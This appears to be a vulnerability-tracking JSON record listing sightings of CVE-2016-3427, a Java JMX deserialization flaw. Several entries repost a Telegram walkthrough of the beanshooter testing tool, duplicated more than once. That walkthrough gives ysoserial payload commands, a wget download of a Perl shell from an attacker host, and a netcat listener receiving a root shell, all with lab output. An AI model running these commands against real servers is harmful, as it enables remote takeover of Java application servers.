{"vulnerability": "cve-2016-3427", "sightings": [{"uuid": "e502c22a-3b46-4586-a2c0-8689c9218a3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-3427", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2023-06-14T21:10:03.000000Z"}, {"uuid": "cb992eb8-2508-458a-b558-f6cf3edafa2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-3427", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971811", "content": "", "creation_timestamp": "2024-12-24T20:34:21.963533Z"}, {"uuid": "7af6aa52-70db-4230-8df9-d38728cb8349", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-3427", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971812", "content": "", "creation_timestamp": "2024-12-24T20:34:22.003420Z"}, {"uuid": "8e442316-48db-4078-9c83-9180a91c0c7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-3427", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-02-23T02:10:11.000000Z"}, {"uuid": "2d3b34b3-3e04-4ea2-8bf8-f58b2b02f5a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-3427", "type": "seen", "source": "MISP/d17bd6ef-d68b-317b-ac33-cdbc44c5fc57", "content": "", "creation_timestamp": "2025-08-31T03:12:59.000000Z"}, {"uuid": "5ca45346-9e0b-462f-bfd8-d66f7bbd26d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2016-3427", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/c7bba0cc-c87f-4f5e-a580-06521f318daf", "content": "", "creation_timestamp": "2026-02-02T12:26:59.744043Z"}, {"uuid": "e3d3cc5a-508e-41b6-9d18-57364c2397fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-3427", "type": "seen", "source": "Telegram/HO1GC9lvGwuSTxA8-o9R8vbMH6vodeUiA1kiw3O6sNg0eCH9", "content": "", "creation_timestamp": "2025-02-06T02:41:39.000000Z"}, {"uuid": "f9563378-6fa3-425e-b578-390b8e72ac96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-3427", "type": "seen", "source": "Telegram/Wmz2NNKyCY1pAGBTYVcFqi7_22wiKWXTgnb--bvdtO5N8Nlr", "content": "", "creation_timestamp": "2025-02-06T02:42:29.000000Z"}, {"uuid": "df7154cf-22c3-4cfd-a4e3-503402a4ed27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-3427", "type": "seen", "source": "Telegram/kQiGK2e6o8-YFgDNhEi_1A4es0f3IKNLKOrIe0nM7h3u5xlJ", "content": "", "creation_timestamp": "2025-01-28T03:22:55.000000Z"}, {"uuid": "7135e226-690b-4d2d-96d6-ab06a33c4311", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-3427", "type": "seen", "source": "https://t.me/arpsyndicate/935", "content": "#ExploitObserverAlert\n\nCVE-2016-3427\n\nDESCRIPTION: Exploit Observer has 75 entries related to CVE-2016-3427. Unspecified vulnerability in Oracle Java SE 6u113, 7u99, and 8u77; Java SE Embedded 8u77; and JRockit R28.3.9 allows remote attackers to affect confidentiality, integrity, and availability via vectors related to JMX.\n\nFIRST-EPSS: 0.078110000\nNVD-IS: 6.0\nNVD-ES: 2.2", "creation_timestamp": "2023-12-03T12:49:34.000000Z"}, {"uuid": "add814d7-a2e6-484a-b60f-559665808dc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-3427", "type": "seen", "source": "https://t.me/theninjaway1337/1371", "content": "CISA: Several Old Linux Vulnerabilities Exploited in Attacks\n\nThe US Cybersecurity and Infrastructure Security Agency (CISA) has added several Linux and Linux-related flaws to its known exploited vulnerabilities (KEV) catalog.\nThe agency\u00a0added seven new vulnerabilities\u00a0to its KEV catalog on Friday: Ruckus AP remote code execution (CVE-2023-25717), Red Hat Polkit privilege escalation (CVE-2021-3560), Linux kernel privilege escalations (CVE-2014-0196 and CVE-2010-3904), Jenkins UI information disclosure (CVE-2015-5317), Apache Tomcat remote code execution (CVE-2016-8735), and an Oracle Java SE and JRockit issue (CVE-2016-3427).\n\nhttps://www.securityweek.com/cisa-several-old-linux-vulnerabilities-exploited-in-attacks/", "creation_timestamp": "2023-05-16T15:47:20.000000Z"}, {"uuid": "d680aaeb-fb64-4549-8472-1e66d3e76308", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-3427", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/ab6016e1-1b26-4e78-a2a1-311c99cd3536", "content": "", "creation_timestamp": "2026-06-19T12:46:55.296406Z"}, {"uuid": "b377a6a3-3235-435e-82b0-03abab26a818", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-3427", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/e776b3ba-05d0-48d8-8d82-42fccf8674ad", "content": "", "creation_timestamp": "2026-06-23T14:05:40.293788Z"}, {"uuid": "68a0ad7c-9788-4724-880a-b39200a31e3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-3427", "type": "seen", "source": "https://t.me/hacking_Attack/17397", "content": "IntroductionJMX stands for Java Management Extensions and can be used to monitor and configure the Java Virtual Machine  from remote. Applications like tomcat or JBoss are often installed together with a JMX instance, which  enables server administrators to monitor and manage the corresponding application.  JMX uses so called MBeans for monitoring and configuration tasks. The JMX agent (sever, port) is basically  just an interface, that handles remote connections and supports methods to communicate with the underlying  MBean objects. The actual functionality is then implemented in the MBean itself and the JMX agent only relays  input and output to the MBean object.  By default, JMX endpoints support a MBean with name MLet. This MBean can be used to deploy new MBeans on the  JMX agent. The codebase for these new MBean objects can be obtained over the network e.g. in form of a  HTTP request. Using the MLet feature, attackers with access to a JMX agent can easily deploy their own  malicious MBean objects and compromise the underlying application server.  Beanshooter is a Proof-of-Concept tool, that can be used to identify vulnerable endpoints. It works for unauthenticated JMX  endpoints as well as for authenticated ones (assumed you have valid credentials and sufficient permissions). Furthermore,  it can be used to test other vulnerabilities (https://www.kitploit.com/search/label/vulnerabilities) like insecure Java Deserialization or CVE-2016-3427. Also connections  using the JMXMP protocol are supported.  \nInstallation\n  Beanshooter is a Maven project. This makes the installation a straight forward process and no manual installation of libraries  should be required. First of all, make sure that you have maven installed on your system:  $ sudo apt install maven      # Debian\n$ pacman -s maven             # Arch  Then, clone the beanshooter project in a location of your choice and run mvn package inside of the projects folder.  -------------------  [INFO] Building beanshooter 2.0.0  [INFO] --------------------------------[ jar ]---------------------------------  [...]  \">[qtc@kali opt]$ git clone https://github.com/qtc-de/beanshooter\n[qtc@kali opt]$ cd beanshooter\n[qtc@kali beanshooter]$ mvn package\n[INFO] Scanning for projects...\n[INFO] \n[INFO] -------------------< de.qtc.Beanshooter:beanshooter >-------------------\n[INFO] Building beanshooter 2.0.0\n[INFO] --------------------------------[ jar ]---------------------------------\n[...]  Since the main purpose of beanshooter is the deployment of MBean objects, you need also a corresponding MBean.  Theoretically you can deploy any MBean that fulfills the MBean specifications. However, this project does also provide a reference  implementation, the tonka-bean (https://github.com/qtc-de/beanshooter/blob/master/tonka-bean). The tonka-bean is a separate maven project and you can compile it in the same way as  you compiled beanshooter:  ---------------------  [INFO] Building tonka-bean 1.0.0  [INFO] --------------------------------[ jar ]---------------------------------  [INFO]  [...]  \">[qtc@kali beanshooter]$ cd tonka-bean/\n[qtc@kali tonka-bean]$ mvn package\n[INFO] Scanning for projects...\n[INFO]\n[INFO] --------------------< de.qtc.TonkaBean:tonka-bean >---------------------\n[INFO] Building tonka-bean 1.0.0\n[INFO] --------------------------------[ jar ]---------------------------------\n[INFO]\n[...]  After maven has finished, you should find the executable .jar files in the target folders of the corresponding projects.  Notice, that beanshooter needs to know where the tonka-bean.jar file is located. If you have placed beanshooter  inside of your /opt folder, this should work automatically. Otherwise, you need to specify the path by using a  configuration file or the corresponding command line options.  [qtc@kali opt]$ ls -l beanshooter/target/beanshooter.jar \n-rw-r--r-- 1 qtc qtc 314856 Sep 16 07:55 beanshooter/target/beanshooter.jar\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:30.885359Z"}, {"uuid": "ed7a0248-2a5a-4ad2-91f2-26dff2f19482", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-3427", "type": "seen", "source": "https://t.me/hacking_Attack/17402", "content": "In case of authenticated JMX endpoints, it is pretty common that usage of MLet does not work, even with valid credentials.  The following listing shows an attempt to deploy a malicious MBean on an authenticated JMX endpoint:  [qtc@kali ~]$ beanshooter --ssl  172.18.0.2 9010 status\n[+] Connecting to JMX server... \n[+]    RMI object tries to connect to different remote host: iinsecure.dev\n[+]    Redirecting the connection back to 172.18.0.2... failed!\n[*]\n[-] The following exception was thrown: java.lang.SecurityException: Authentication failed! Credentials required\n[qtc@kali ~]$ beanshooter --ssl  --username controlRole --password control 172.18.0.2 9010 status\n[+] Connecting to JMX server... \n[+]    RMI object tries to connect to different remote host: iinsecure.dev\n[+]    Redirecting the connection back to 172.18.0.2... done!\n[+] Creating MBeanServerConnection... done!\n[+]\n[+] Getting Status of MLet... done!\n[+] MLet is not registered on the JMX server.\n[+] Getting Status of malicious Bean... done!\n[+] malicious Bean is not registered on the JMX server.\n[qtc@kali ~]$ beanshooter --ssl  --username controlRole --password control 1   72.18.0.2 9010 deployAll\n[+] Connecting to JMX server... \n[+]    RMI object tries to connect to different remote host: iinsecure.dev\n[+]    Redirecting the connection back to 172.18.0.2... done!\n[+] Creating MBeanServerConnection... done!\n[+]\n[+] Creating MBean 'MLet' for remote deploymet... failed!\n[-] The following exception was thrown: java.lang.SecurityException: Access denied! Creating an MBean that is a ClassLoader is forbidden unless a security manager is installed.  In these cases it might still be possible to attack the JMX endpoint by using deserialization attacks. To allow such attacks, the ysoserial (https://github.com/frohoff/ysoserial)  project can be integrated to beanshooter by specifying the path to the corresponding ysoserial .jar file. This can be configured either in the configuration file or by using the  --yso command line option. The default location is /opt/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar.  With ysoserial setup correctly, one can attempt a deserialization (https://www.kitploit.com/search/label/Deserialization) attack against the target:  [qtc@kali ~]$ beanshooter --ssl --username controlRole --password control 172.18.0.2 9010 ysoserial CommonsCollections6 \"wget -O /dev/shm/s.pl http://172.18.0.1:8000/shell.pl\"\n[+] Creating ysoserial payload...done.\n[+] Connecting to JMX server... \n[+]    RMI object tries to connect to different remote host: iinsecure.dev\n[+]    Redirecting the connection back to 172.18.0.2... done!\n[+] Creating MBeanServerConnection... done!\n[+]\n[+] Sending payload to 'getLoggerLevel'...\n[+]     IllegalArgumentException. This is fine :) Payload probably worked.\n[qtc@kali ~]$ beanshooter --ssl --username controlRole --password control 172.18.0.2 9010 ysoserial CommonsCollections6 \"perl /dev/shm/s.pl\"\n[+] Creating ysoserial payload...done.\n[+] Connecting to JMX server... \n[+]    RMI object tries to connect to different remote host: iinsecure.dev\n[+]    Redirecting the connection back to 172.18.0.2... done!\n[+] Creating MBeanServerConn   ection... done!\n[+]\n[+] Sending payload to 'getLoggerLevel'...\n[+]     IllegalArgumentException. This is fine :) Payload probably worked.\n\n[qtc@kali ~]$ nc -vlp 4444\nNcat: Version 7.80 ( https://nmap.org/ncat )\nNcat: Listening on :::4444\nNcat: Listening on 0.0.0.0:4444\nNcat: Connection from 172.18.0.2.\nNcat: Connection from 172.18.0.2:45994.\nid\nuid=0(root) gid=0(root) groups=0(root)  Older JMX instances might also be vulnerable to CVE-2016-3427, which is basically a pre-auth deserialization vulnerability.  Whereas the above deserialization attack should work against the RMI based connector as well as against JMXMP based connector,  the pre-auth attack only works against the RMI based connector:  [qtc@kali ~]$ beanshooter --ssl 172.18.0.2 9010 cve-2016-3427 CommonsCollections6 \"perl /dev/shm/s.pl\"\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:30.932520Z"}, {"uuid": "f250b089-fd82-49e9-9316-9c9a7dac696b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-3427", "type": "seen", "source": "https://t.me/hacking_Attack/17403", "content": "[+] Creating ysoserial payload...done.\n[+] cve-2016-3427 - Sending serialized Object as credential.\n[+]     An exception during the connection attempt is expected.\n[+] Connecting to JMX server... \n[+]    RMI object tries to connect to different remote host: iinsecure.dev\n[+]    Redirecting the connection back to 172.18.0.2... failed!\n[*]\n[*] Caught SecurityException with content 'Authentication failed! Credentials should be String[] instead of java.util.HashSet'.\n[*]     Target is most likely vulnerable to cve-2016-3427.\n\n[qtc@kali ~]$ nc -vlp 4444\nNcat: Version 7.80 ( https://nmap.org/ncat )\nNcat: Listening on :::4444\nNcat: Listening on 0.0.0.0:4444\nNcat: Connection from 172.18.0.2.\nNcat: Connection from 172.18.0.2:46000.\nid\nuid=0(root) gid=0(root) groups=0(root)  \nAdvanced Usage\n  Above it was already mentioned that beanshooter can read options from a configuration file. Options that would require long values,  like the name of the MBean class or the corresponding ObjectName can only be passed inside of the configuration file.  The following snipped shows you the default configuration file that is used by beanshooter internally:  defaultCmd=id\nstagerPort=8080\nstagerHost=127.0.0.1\n\nusername=\npassword=\nboundName=jmxrmi\n\njarPath=/opt/beanshooter/tonka-bean/target/\njarName=tonka-bean.jar\n\nysoserial=/opt/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar\n\nmLetName=DefaultDomain:type=MLet\nbeanClass=de.qtc.tonkabean.TonkaBean\nobjectName=MLetTonkaBean:name=TonkaBean,id=1  It is possible to overwrite each option by specifying a custom configuration file using the --config parameter. The custom config file does not need to contain  all options. Options that are not present were simply set to the default value. If you want your custom configuration to apply for each usage of beanshooter, you  can also modify the config.properties (https://github.com/qtc-de/beanshooter/blob/master/src/config.properties) file inside of the src (https://github.com/qtc-de/beanshooter/blob/master/src) folder before compiling the project.  In situations where the targeted server cannot access your host because of restrictive firewall rules, you may be able to use the --remote-stager option to specify a remote stager host.  If you have access to the remote-stager, you can also use beanshooter to deploy the MBean by using the --stager-only option, which only spawns the HTTP listener. When using this option,  no additional command line parameters are required. However, on your attacking machine you still need to specify the correct --stager-host, either by using command line options or a  configuration file.  \nWhy beanshooter\n  Here are some of the advantages why you may choose beanshooter in favor of other JMX scanning solutions:    Full SSL support for JMX objects and the rmiregistry  Automatic redirection for objects bound to e.g. localhost  Full JMXMP support with almost all available authentication options  ysoserial integration to test for insecure deserialization  CVE-2016-3427 detection  Autocompletion for bash  Vulnerable docker container to run tests against    \nCredits\n  The initial idea and also the initial codebase of the tool were taken from this blogpost (https://www.optiv.com/blog/exploiting-jmx-rmi).  For the JMXMP implementation, this project (https://github.com/felixoldenburg/jmxmp-lifecycle-listener) was really helpful.  Some functionalities were inspired by the mjet project (https://github.com/mogwailabs/mjet)    Copyright 2020, Tobias Neitzel and the beanshooter contributors.  \n\nDownload Beanshooter (https://github.com/qtc-de/beanshooter)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:30.975524Z"}, {"uuid": "dce22f63-678f-426c-882b-5328ab002845", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-3427", "type": "seen", "source": "https://t.me/hacking_Attack/17397", "content": "IntroductionJMX stands for Java Management Extensions and can be used to monitor and configure the Java Virtual Machine  from remote. Applications like tomcat or JBoss are often installed together with a JMX instance, which  enables server administrators to monitor and manage the corresponding application.  JMX uses so called MBeans for monitoring and configuration tasks. The JMX agent (sever, port) is basically  just an interface, that handles remote connections and supports methods to communicate with the underlying  MBean objects. The actual functionality is then implemented in the MBean itself and the JMX agent only relays  input and output to the MBean object.  By default, JMX endpoints support a MBean with name MLet. This MBean can be used to deploy new MBeans on the  JMX agent. The codebase for these new MBean objects can be obtained over the network e.g. in form of a  HTTP request. Using the MLet feature, attackers with access to a JMX agent can easily deploy their own  malicious MBean objects and compromise the underlying application server.  Beanshooter is a Proof-of-Concept tool, that can be used to identify vulnerable endpoints. It works for unauthenticated JMX  endpoints as well as for authenticated ones (assumed you have valid credentials and sufficient permissions). Furthermore,  it can be used to test other vulnerabilities (https://www.kitploit.com/search/label/vulnerabilities) like insecure Java Deserialization or CVE-2016-3427. Also connections  using the JMXMP protocol are supported.  \nInstallation\n  Beanshooter is a Maven project. This makes the installation a straight forward process and no manual installation of libraries  should be required. First of all, make sure that you have maven installed on your system:  $ sudo apt install maven      # Debian\n$ pacman -s maven             # Arch  Then, clone the beanshooter project in a location of your choice and run mvn package inside of the projects folder.  -------------------  [INFO] Building beanshooter 2.0.0  [INFO] --------------------------------[ jar ]---------------------------------  [...]  \">[qtc@kali opt]$ git clone https://github.com/qtc-de/beanshooter\n[qtc@kali opt]$ cd beanshooter\n[qtc@kali beanshooter]$ mvn package\n[INFO] Scanning for projects...\n[INFO] \n[INFO] -------------------< de.qtc.Beanshooter:beanshooter >-------------------\n[INFO] Building beanshooter 2.0.0\n[INFO] --------------------------------[ jar ]---------------------------------\n[...]  Since the main purpose of beanshooter is the deployment of MBean objects, you need also a corresponding MBean.  Theoretically you can deploy any MBean that fulfills the MBean specifications. However, this project does also provide a reference  implementation, the tonka-bean (https://github.com/qtc-de/beanshooter/blob/master/tonka-bean). The tonka-bean is a separate maven project and you can compile it in the same way as  you compiled beanshooter:  ---------------------  [INFO] Building tonka-bean 1.0.0  [INFO] --------------------------------[ jar ]---------------------------------  [INFO]  [...]  \">[qtc@kali beanshooter]$ cd tonka-bean/\n[qtc@kali tonka-bean]$ mvn package\n[INFO] Scanning for projects...\n[INFO]\n[INFO] --------------------< de.qtc.TonkaBean:tonka-bean >---------------------\n[INFO] Building tonka-bean 1.0.0\n[INFO] --------------------------------[ jar ]---------------------------------\n[INFO]\n[...]  After maven has finished, you should find the executable .jar files in the target folders of the corresponding projects.  Notice, that beanshooter needs to know where the tonka-bean.jar file is located. If you have placed beanshooter  inside of your /opt folder, this should work automatically. Otherwise, you need to specify the path by using a  configuration file or the corresponding command line options.  [qtc@kali opt]$ ls -l beanshooter/target/beanshooter.jar \n-rw-r--r-- 1 qtc qtc 314856 Sep 16 07:55 beanshooter/target/beanshooter.jar\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:05.627662Z"}, {"uuid": "ff467d6e-0670-4920-9c04-410f289751d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-3427", "type": "seen", "source": "https://t.me/hacking_Attack/17402", "content": "In case of authenticated JMX endpoints, it is pretty common that usage of MLet does not work, even with valid credentials.  The following listing shows an attempt to deploy a malicious MBean on an authenticated JMX endpoint:  [qtc@kali ~]$ beanshooter --ssl  172.18.0.2 9010 status\n[+] Connecting to JMX server... \n[+]    RMI object tries to connect to different remote host: iinsecure.dev\n[+]    Redirecting the connection back to 172.18.0.2... failed!\n[*]\n[-] The following exception was thrown: java.lang.SecurityException: Authentication failed! Credentials required\n[qtc@kali ~]$ beanshooter --ssl  --username controlRole --password control 172.18.0.2 9010 status\n[+] Connecting to JMX server... \n[+]    RMI object tries to connect to different remote host: iinsecure.dev\n[+]    Redirecting the connection back to 172.18.0.2... done!\n[+] Creating MBeanServerConnection... done!\n[+]\n[+] Getting Status of MLet... done!\n[+] MLet is not registered on the JMX server.\n[+] Getting Status of malicious Bean... done!\n[+] malicious Bean is not registered on the JMX server.\n[qtc@kali ~]$ beanshooter --ssl  --username controlRole --password control 1   72.18.0.2 9010 deployAll\n[+] Connecting to JMX server... \n[+]    RMI object tries to connect to different remote host: iinsecure.dev\n[+]    Redirecting the connection back to 172.18.0.2... done!\n[+] Creating MBeanServerConnection... done!\n[+]\n[+] Creating MBean 'MLet' for remote deploymet... failed!\n[-] The following exception was thrown: java.lang.SecurityException: Access denied! Creating an MBean that is a ClassLoader is forbidden unless a security manager is installed.  In these cases it might still be possible to attack the JMX endpoint by using deserialization attacks. To allow such attacks, the ysoserial (https://github.com/frohoff/ysoserial)  project can be integrated to beanshooter by specifying the path to the corresponding ysoserial .jar file. This can be configured either in the configuration file or by using the  --yso command line option. The default location is /opt/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar.  With ysoserial setup correctly, one can attempt a deserialization (https://www.kitploit.com/search/label/Deserialization) attack against the target:  [qtc@kali ~]$ beanshooter --ssl --username controlRole --password control 172.18.0.2 9010 ysoserial CommonsCollections6 \"wget -O /dev/shm/s.pl http://172.18.0.1:8000/shell.pl\"\n[+] Creating ysoserial payload...done.\n[+] Connecting to JMX server... \n[+]    RMI object tries to connect to different remote host: iinsecure.dev\n[+]    Redirecting the connection back to 172.18.0.2... done!\n[+] Creating MBeanServerConnection... done!\n[+]\n[+] Sending payload to 'getLoggerLevel'...\n[+]     IllegalArgumentException. This is fine :) Payload probably worked.\n[qtc@kali ~]$ beanshooter --ssl --username controlRole --password control 172.18.0.2 9010 ysoserial CommonsCollections6 \"perl /dev/shm/s.pl\"\n[+] Creating ysoserial payload...done.\n[+] Connecting to JMX server... \n[+]    RMI object tries to connect to different remote host: iinsecure.dev\n[+]    Redirecting the connection back to 172.18.0.2... done!\n[+] Creating MBeanServerConn   ection... done!\n[+]\n[+] Sending payload to 'getLoggerLevel'...\n[+]     IllegalArgumentException. This is fine :) Payload probably worked.\n\n[qtc@kali ~]$ nc -vlp 4444\nNcat: Version 7.80 ( https://nmap.org/ncat )\nNcat: Listening on :::4444\nNcat: Listening on 0.0.0.0:4444\nNcat: Connection from 172.18.0.2.\nNcat: Connection from 172.18.0.2:45994.\nid\nuid=0(root) gid=0(root) groups=0(root)  Older JMX instances might also be vulnerable to CVE-2016-3427, which is basically a pre-auth deserialization vulnerability.  Whereas the above deserialization attack should work against the RMI based connector as well as against JMXMP based connector,  the pre-auth attack only works against the RMI based connector:  [qtc@kali ~]$ beanshooter --ssl 172.18.0.2 9010 cve-2016-3427 CommonsCollections6 \"perl /dev/shm/s.pl\"\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:05.664382Z"}, {"uuid": "1a0db582-23a6-4cf4-a6e4-0689c7b35660", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-3427", "type": "seen", "source": "https://t.me/hacking_Attack/17403", "content": "[+] Creating ysoserial payload...done.\n[+] cve-2016-3427 - Sending serialized Object as credential.\n[+]     An exception during the connection attempt is expected.\n[+] Connecting to JMX server... \n[+]    RMI object tries to connect to different remote host: iinsecure.dev\n[+]    Redirecting the connection back to 172.18.0.2... failed!\n[*]\n[*] Caught SecurityException with content 'Authentication failed! Credentials should be String[] instead of java.util.HashSet'.\n[*]     Target is most likely vulnerable to cve-2016-3427.\n\n[qtc@kali ~]$ nc -vlp 4444\nNcat: Version 7.80 ( https://nmap.org/ncat )\nNcat: Listening on :::4444\nNcat: Listening on 0.0.0.0:4444\nNcat: Connection from 172.18.0.2.\nNcat: Connection from 172.18.0.2:46000.\nid\nuid=0(root) gid=0(root) groups=0(root)  \nAdvanced Usage\n  Above it was already mentioned that beanshooter can read options from a configuration file. Options that would require long values,  like the name of the MBean class or the corresponding ObjectName can only be passed inside of the configuration file.  The following snipped shows you the default configuration file that is used by beanshooter internally:  defaultCmd=id\nstagerPort=8080\nstagerHost=127.0.0.1\n\nusername=\npassword=\nboundName=jmxrmi\n\njarPath=/opt/beanshooter/tonka-bean/target/\njarName=tonka-bean.jar\n\nysoserial=/opt/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar\n\nmLetName=DefaultDomain:type=MLet\nbeanClass=de.qtc.tonkabean.TonkaBean\nobjectName=MLetTonkaBean:name=TonkaBean,id=1  It is possible to overwrite each option by specifying a custom configuration file using the --config parameter. The custom config file does not need to contain  all options. Options that are not present were simply set to the default value. If you want your custom configuration to apply for each usage of beanshooter, you  can also modify the config.properties (https://github.com/qtc-de/beanshooter/blob/master/src/config.properties) file inside of the src (https://github.com/qtc-de/beanshooter/blob/master/src) folder before compiling the project.  In situations where the targeted server cannot access your host because of restrictive firewall rules, you may be able to use the --remote-stager option to specify a remote stager host.  If you have access to the remote-stager, you can also use beanshooter to deploy the MBean by using the --stager-only option, which only spawns the HTTP listener. When using this option,  no additional command line parameters are required. However, on your attacking machine you still need to specify the correct --stager-host, either by using command line options or a  configuration file.  \nWhy beanshooter\n  Here are some of the advantages why you may choose beanshooter in favor of other JMX scanning solutions:    Full SSL support for JMX objects and the rmiregistry  Automatic redirection for objects bound to e.g. localhost  Full JMXMP support with almost all available authentication options  ysoserial integration to test for insecure deserialization  CVE-2016-3427 detection  Autocompletion for bash  Vulnerable docker container to run tests against    \nCredits\n  The initial idea and also the initial codebase of the tool were taken from this blogpost (https://www.optiv.com/blog/exploiting-jmx-rmi).  For the JMXMP implementation, this project (https://github.com/felixoldenburg/jmxmp-lifecycle-listener) was really helpful.  Some functionalities were inspired by the mjet project (https://github.com/mogwailabs/mjet)    Copyright 2020, Tobias Neitzel and the beanshooter contributors.  \n\nDownload Beanshooter (https://github.com/qtc-de/beanshooter)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:05.703901Z"}, {"uuid": "8b04ce12-43fa-4fcb-96c7-a54f88fc8239", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-3427", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/17403", "content": "[+] Creating ysoserial payload...done.\n[+] cve-2016-3427 - Sending serialized Object as credential.\n[+]     An exception during the connection attempt is expected.\n[+] Connecting to JMX server... \n[+]    RMI object tries to connect to different remote host: iinsecure.dev\n[+]    Redirecting the connection back to 172.18.0.2... failed!\n[*]\n[*] Caught SecurityException with content 'Authentication failed! Credentials should be String[] instead of java.util.HashSet'.\n[*]     Target is most likely vulnerable to cve-2016-3427.\n\n[qtc@kali ~]$ nc -vlp 4444\nNcat: Version 7.80 ( https://nmap.org/ncat )\nNcat: Listening on :::4444\nNcat: Listening on 0.0.0.0:4444\nNcat: Connection from 172.18.0.2.\nNcat: Connection from 172.18.0.2:46000.\nid\nuid=0(root) gid=0(root) groups=0(root)  \nAdvanced Usage\n  Above it was already mentioned that beanshooter can read options from a configuration file. Options that would require long values,  like the name of the MBean class or the corresponding ObjectName can only be passed inside of the configuration file.  The following snipped shows you the default configuration file that is used by beanshooter internally:  defaultCmd=id\nstagerPort=8080\nstagerHost=127.0.0.1\n\nusername=\npassword=\nboundName=jmxrmi\n\njarPath=/opt/beanshooter/tonka-bean/target/\njarName=tonka-bean.jar\n\nysoserial=/opt/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar\n\nmLetName=DefaultDomain:type=MLet\nbeanClass=de.qtc.tonkabean.TonkaBean\nobjectName=MLetTonkaBean:name=TonkaBean,id=1  It is possible to overwrite each option by specifying a custom configuration file using the --config parameter. The custom config file does not need to contain  all options. Options that are not present were simply set to the default value. If you want your custom configuration to apply for each usage of beanshooter, you  can also modify the config.properties (https://github.com/qtc-de/beanshooter/blob/master/src/config.properties) file inside of the src (https://github.com/qtc-de/beanshooter/blob/master/src) folder before compiling the project.  In situations where the targeted server cannot access your host because of restrictive firewall rules, you may be able to use the --remote-stager option to specify a remote stager host.  If you have access to the remote-stager, you can also use beanshooter to deploy the MBean by using the --stager-only option, which only spawns the HTTP listener. When using this option,  no additional command line parameters are required. However, on your attacking machine you still need to specify the correct --stager-host, either by using command line options or a  configuration file.  \nWhy beanshooter\n  Here are some of the advantages why you may choose beanshooter in favor of other JMX scanning solutions:    Full SSL support for JMX objects and the rmiregistry  Automatic redirection for 